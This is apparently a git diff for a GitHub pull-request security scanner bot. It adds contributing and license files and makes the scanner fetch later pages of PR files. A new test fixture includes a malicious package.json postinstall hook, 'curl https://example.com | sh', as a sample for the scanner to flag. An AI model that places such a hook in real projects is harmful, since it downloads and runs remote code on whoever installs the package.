diff --git a/CONTRIBUTION.md b/CONTRIBUTION.md new file mode 100644 index 0000000..c2b032b --- /dev/null +++ b/CONTRIBUTION.md @@ -0,0 +1,49 @@ +# Contributing + +Thanks for your interest in improving Superagent Security Bot for GitHub. + +## Development Setup + +1. Install Node.js 22.18 or newer. +2. Install dependencies: + + ```bash + npm install + ``` + +3. Copy `.env.example` to `.env` and fill in the required values for local + development. + +4. Start the development server: + + ```bash + npm run dev + ``` + +## Before Opening a Pull Request + +Run the core checks locally: + +```bash +npm run typecheck +npm test +``` + +When changing PR scanning, contributor scoring, GitHub webhook handling, or +security policy behavior, include focused tests that cover the new behavior and +any relevant abuse case. + +## Pull Request Guidelines + +- Keep changes focused and easy to review. +- Explain the security impact of behavior changes. +- Avoid committing secrets, installation tokens, private keys, or local `.env` + files. +- Update documentation when behavior, configuration, or setup steps change. + +## Security Reports + +If you believe you have found a security issue, do not open a public issue with +exploit details. Contact the maintainers privately with a description of the +impact, affected code paths, and reproduction steps. + diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..7603e36 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,23 @@ +# License + +Superagent Security Bot for GitHub is dual-licensed: + +1. GNU Affero General Public License v3.0 only (`AGPL-3.0-only`) +2. A commercial license available by separate written agreement + +Unless you have a separate commercial license from the copyright holder, your +use, modification, distribution, and network deployment of this software are +governed by the GNU Affero General Public License v3.0 only. + +The full AGPL-3.0 license text is available at: + +https://www.gnu.org/licenses/agpl-3.0.html + +## Commercial Licensing + +Commercial licenses are available for organizations that want to use this +software without the obligations of the AGPL-3.0 license, including proprietary +modifications or deployments where source disclosure is not desired. + +Contact the maintainers for commercial licensing terms. + diff --git a/README.md b/README.md index 27c8442..8ff6603 100644 --- a/README.md +++ b/README.md @@ -144,6 +144,10 @@ src/ Maintainers can re-run any Superagent check from the GitHub UI by clicking "Re-run" on the check run. The app handles `check_run.rerequested` events and re-executes the corresponding scan. +## License + +This project is licensed under the GNU Affero General Public License v3.0 only. A separate commercial license is available for organizations that want to use the software without AGPL obligations. + ## Development ```bash diff --git a/package.json b/package.json index 29fee0c..d573ce9 100644 --- a/package.json +++ b/package.json @@ -2,6 +2,7 @@ "name": "brin-github", "version": "0.1.0", "type": "module", + "license": "AGPL-3.0-only", "private": true, "scripts": { "dev": "tsx watch src/index.ts", diff --git a/src/services/__tests__/prScanner.test.ts b/src/services/__tests__/prScanner.test.ts index dd60e45..6aeaa74 100644 --- a/src/services/__tests__/prScanner.test.ts +++ b/src/services/__tests__/prScanner.test.ts @@ -79,6 +79,61 @@ describe("scanPrLocally", () => { expect(result.findings?.[0]?.title).toBe("Suspicious postinstall hook"); }); + it("includes files from later GitHub PR file pages in the Flue payload", async () => { + const firstPageFiles = Array.from({ length: 100 }, (_, index) => ({ + filename: `benign-${index}.txt`, + status: "modified", + additions: 1, + deletions: 0, + changes: 1, + patch: `@@ -0,0 +1 @@\n+benign ${index}`, + })); + const maliciousFile = { + filename: "package.json", + status: "modified", + additions: 1, + deletions: 0, + changes: 1, + patch: '@@ -1 +1 @@\n+"postinstall": "curl https://example.com | sh"', + }; + const fetchMock = vi + .fn() + .mockResolvedValueOnce(jsonResponse({ + title: "Update build", + body: "", + user: { login: "octocat" }, + })) + .mockResolvedValueOnce(jsonResponse(firstPageFiles)) + .mockResolvedValueOnce(jsonResponse([maliciousFile])) + .mockResolvedValueOnce(jsonResponse({ + findings: [ + { + category: "lifecycle", + severity: "high", + title: "Suspicious postinstall hook", + file: "package.json", + evidence: "postinstall runs curl | sh", + recommendation: "Remove the lifecycle hook.", + }, + ], + })); + vi.stubGlobal("fetch", fetchMock); + + const result = await scanPrLocally("acme", "repo", 12); + + expect(fetchMock).toHaveBeenCalledWith( + "https://api.github.com/repos/acme/repo/pulls/12/files?per_page=100&page=2", + expect.any(Object), + ); + const body = JSON.parse(fetchMock.mock.calls[3][1].body); + expect(body.files).toHaveLength(101); + expect(body.files[100]).toMatchObject({ + path: "package.json", + patch: expect.stringContaining("postinstall"), + }); + expect(result.findings?.[0]?.file).toBe("package.json"); + }); + it("returns an inconclusive error result when Flue fails", async () => { vi.stubGlobal( "fetch", diff --git a/src/services/prScanner.ts b/src/services/prScanner.ts index 4b13ae6..c33eb68 100644 --- a/src/services/prScanner.ts +++ b/src/services/prScanner.ts @@ -1,7 +1,8 @@ import type { PrFinding, PrScanResult } from "../lib/types.js"; import { childLogger } from "../lib/logger.js"; -const MAX_FILES = 100; +const GITHUB_PR_FILES_PER_PAGE = 100; +const GITHUB_PR_FILES_PAGE_LIMIT = 30; const MAX_PATCH_CHARS_PER_FILE = 8_000; const MAX_PAYLOAD_CHARS = 100_000; @@ -99,7 +100,7 @@ async function collectPrScanPayload( headSha: pullRequest.head?.sha ?? "", headRepo: pullRequest.head?.repo?.full_name ?? "", }, - files: trimPayloadFiles(files.slice(0, MAX_FILES)), + files: trimPayloadFiles(files), }; } @@ -110,15 +111,22 @@ async function fetchPrFiles( githubToken?: string, ): Promise { const files: GitHubPrFile[] = []; - for (let page = 1; page <= 10; page++) { + for (let page = 1; page <= GITHUB_PR_FILES_PAGE_LIMIT; page++) { const pageFiles = await fetchGitHub( - `/repos/${owner}/${repo}/pulls/${prNumber}/files?per_page=100&page=${page}`, + `/repos/${owner}/${repo}/pulls/${prNumber}/files?per_page=${GITHUB_PR_FILES_PER_PAGE}&page=${page}`, githubToken, ); files.push(...pageFiles); - if (pageFiles.length < 100 || files.length >= MAX_FILES) break; + if (pageFiles.length < GITHUB_PR_FILES_PER_PAGE) break; + + if (page === GITHUB_PR_FILES_PAGE_LIMIT) { + const fileLimit = GITHUB_PR_FILES_PER_PAGE * GITHUB_PR_FILES_PAGE_LIMIT; + throw new Error( + `PR file list reached GitHub's ${fileLimit} file scan limit`, + ); + } } - return files.slice(0, MAX_FILES); + return files; } async function fetchGitHub(pathAndQuery: string, githubToken?: string): Promise {